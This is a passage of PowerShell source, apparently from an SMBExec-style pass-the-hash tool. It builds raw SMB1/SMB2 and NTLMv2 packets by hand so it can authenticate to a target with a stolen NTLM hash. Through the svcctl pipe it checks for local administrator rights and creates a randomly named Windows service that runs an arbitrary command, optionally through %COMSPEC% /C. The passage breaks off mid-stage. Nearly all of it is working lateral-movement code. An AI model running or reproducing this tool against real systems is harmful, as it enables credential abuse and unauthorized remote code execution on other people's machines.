$packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW +} + +function Get-PacketSCMStartServiceW() +{ + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW +} + +function Get-PacketSCMDeleteServiceW() +{ + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW +} + +function Get-PacketSCMCloseServiceHandle() +{ + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW +} + +function DataLength2 +{ + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + + return $string_length +} + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} +$SMB_client = New-Object System.Net.Sockets.TCPClient +$SMB_client.Client.ReceiveTimeout = 60000 + +try +{ + $SMB_client.Connect($Target,"445") +} +catch +{ + Write-Output "$Target did not respond" +} + +if($SMB_client.Connected) +{ + $SMB_client_stream = $SMB_client.GetStream() + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_client_stage = 'NegotiateSMB' + + while($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes 0x00,0x00 + $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') + { + Write-Output "SMB signing is enabled" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0 + } + + } + else + { + $SMB_client_stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') + { + Write-Output "SMB signing is enabled" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) + $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" + $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive + $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive + $SMB_session_ID = $SMB_client_receive[44..51] + $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] + $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $SMB_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $SMB_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $SMB_session_key_length + + $SMB_session_key_length + + $SMB_session_key_offset + + $SMB_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $SMB_client_receive[32,33] + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + } + + $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $NTLMSSP_response + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') + { + + if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') + { + Write-Output "$output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "$output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + else + { + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') + { + Write-Output "$output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "$output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + + if($login_successful) + { + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') + { + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 + } + else + { + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + + if(!$Service) + { + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service) + + if([Bool]($SMB_service.Length % 2)) + { + $SMB_service_bytes += 0x00,0x00 + } + else + { + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + + } + + } + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + + if($CommandCOMSPEC -eq 'Y') + { + $Command = "%COMSPEC% /C `"" + $Command + "`"" + } + else + { + $Command = "`"" + $Command + "`"" + } + + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) + { + $SMBExec_command += '00-00' + } + else + { + $SMBExec_command += '00-00-00-00' + } + + $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) + $SMB_split_index = 4256 + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m $Sleep + $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBReadAndXRequest $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + + if($SMB_execute) + { + Write-Output "$output_username is a local administrator on $Target" + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + else + { + Write-Output "$output_username is a local administrator on $Target" + $SMB_close_service_handle_stage = 2 + $SMB_client_stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Something went wrong with $Target" + $SMBExec_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + 